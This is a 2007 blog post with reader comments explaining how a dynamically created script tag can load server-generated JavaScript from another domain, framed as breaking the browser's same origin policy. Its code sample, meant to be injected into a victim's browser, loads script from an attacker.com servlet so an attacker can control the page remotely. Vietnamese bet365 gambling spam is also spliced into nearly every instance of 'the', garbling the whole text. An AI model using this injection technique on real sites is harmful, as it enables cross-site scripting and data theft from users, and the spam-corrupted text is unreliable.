Wednesday, January 10, 2007

Breaking cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Same Origin barrier of Javascript

NOTE: I dont want javascript to be executed so in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 sample code below, you will see that i will remove cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 <> tags from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 script element.

Same Origin Policy of browsers

Often times we have heard that Javascript cannot send requests to anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r domain. That is because of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same origin policy implemented in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browsers. The same origin policy of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browsers prevents document or script loading from a different domain to manipulate cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 document loaded from current domain, without which javascript from a malicious domain could do any number of adverse things such as log keystrokes, steal cookies, modify your data, or even insert unwanted transactions while you do your online banking, etc. Hence, most of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current browsers implement cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same origin policy on nearly every properties and methods available to javascript. The only exception to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same origin policy is if you are working with documents loaded from any of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 subdomains of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current domain. By setting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 domain property of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 document, scripts residing on subdomain are allowed access to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 scripts on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 main domain. For example, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 script from test.domain.com could set cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 domain property to “domain.com”. This way cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 script passes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 origin checks when accessing windows loaded from “domain.com”. However, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 scripts from “test.domain.com” could not set cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 domain property to “anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rdomain.com”.

When a script tries to access properties or methods in a different window – for example, using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 handle returned by window.open() – cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser performs a same origin check on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 URLs of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 document in question. If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 URLs of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 document pass this check, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 property can be accessed, and if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y don’t cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n an error is thrown. The same origin check consists of verifying that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 URL of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 document in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 target window has cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same origin as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 document containing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 calling script.

External Javascript from Java Servlets

One of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 lesser known sides of external JavaScript is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ability to reference a server side program(CGI, PHP or Servlets) instead of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 familiar .js file. It is kinda interesting since a client side script interacting with a server side program is not considered safe and is usually not allowed from within cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser but apparently a script can be dynamically generated and loaded, if referenced in src attribute of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 script tag, while cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 html page is being loaded. Using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 src attribute of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 script tag, we can call an external javascript, we can also call a server side program to dynamically generate a javascript. For example

script type="text/javascript" src="myservlet"

Where "myservlet" is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server side program and could be an absolute path like “http://www.myserver.com/myservlet” or a relative path like “myservlet” instead of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 usual .js file. Interestingly you can even pass parameters to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 servlet through cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 URL string. For example

script type="text/javascript" src="http://attacker.com/myservlet?name=myname"

Now cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 servlet can be invoked and process parameters and return cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 result back. There is a limitation however. It can only return Javascript code. You also have to set cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 content type as “application/x-javascript”. Just think of it as returning javascript code instead of html code. But cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is a workaround to this limitation. Just like while returning html, if you had Javascript code, you would encapsulate in script tag, here, if you have to return html code, you can always return document .body .innerHTML = ‘html code’ or document .write(‘html code’). So your typical servlet would look like


public class myservlet
{
public void doGet(HttpServletRequest request, HttpServletResponse response)
{
response.setContentType(“application/x-javascript”);
PrintWriter out = response.getWriter();
String name = request.getParameter(“name”);
out.println(“document.body.innerHTML = ‘Welcome “ + name + “’;”);
out.close();
}
}


A JavaScript header is sent at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 very beginning to inform cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser that it is receiving a JavaScript file. The final output of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 servlet needs to be a valid Javascript file and must conform to Javascript syntax, servlet outputs a valid javascript code which replaces cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 content of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 html page and displays “Welcome anurag”.
The ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r limitation, however, is that it cannot have an interactive session with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server side program. While loading cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 page, when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser comes across cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 script tag, it goes to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 URL mentioned in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 src attribute and validates cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 incoming data as a valid javascript and executes it. The script tag is only executed once and after cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 entire page is loaded, it cannot call cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server side program again.

Breaking cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same origin barrier using external Javascript

As we discussed above, once cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 entire html page is loaded and all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Javascript files are executed, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re can be no interaction with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server anymore since all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 script tags are executed by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser. But wait a minute, what about DHTML? We can dynamically create a script element and set a server side program in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 src attribute and VIOLA, we have just breached cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same domain barrier. Let’s take a look at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code.

Code sample
Append cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following Javascript code at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 victim browser

function loadscript()
{
var attack_script = document.createElement('script');
attack_script.id = 'myscript';
attack_script.src = 'http://attacker.com/myservlet'; //Replace this url with your servlet/cgi/php url.
attack_script.type = 'text/javascript';
document.body.appendChild(attack_script);
}

Create cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 servlet at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attacker server

public class myservlet
{
public void doGet(HttpServletRequest request, HttpServletResponse response)
{
response.setContentType(“application/x-javascript”);
PrintWriter out = response.getWriter();
String ip = request.getRemoteAddr();
out.println("document.body.innerHTML='Your IP address is : " + ip + "';");
out.close();
}
}

Demo

You can view cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 demo here (http://www.attacklabs.com)

Download Code

You can download cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 sample code here (http://www.attacklabs.com)

References:-

Firefox same origin policy
http://www.mozilla.org/projects/security/components/same-origin.html

Same Origin Policy - Wikipedia
http://en.wikipedia.org/wiki/Same_origin_policy

4 comments:

Anonymous said...

Umm, i'm probably misunderstanding your post.. but external javascript can always be included.. it's a normal feature. And it's cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 basis of XSS.

Using a servlet or PHP to return javascript is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 basis of JSON applications. Furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rmore, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 application/x-javascript is superfluous (although probably a good habit) as anything inside a

You can see it accesses cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 DOM just fine, but maybe i'm misunderstanding your idea.

Anurag Agarwal said...

hi maluc

you are right but what i am trying to explain here is that if a website is vulnerable to xss cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n using this feature an attacker can actually control a user browser from a remote location

Mahmudul Hasan said...

What is your point ? We can always load javascript from external site. There was no barrier.

Anonymous said...

Great article. Excellent explanation.

Maluc/Mahmudul, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 difference between loading a static external js and loading through a servlet/cgi is that with latter, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 injected javascript can collect sensitive data from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user browser and send to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 remote site!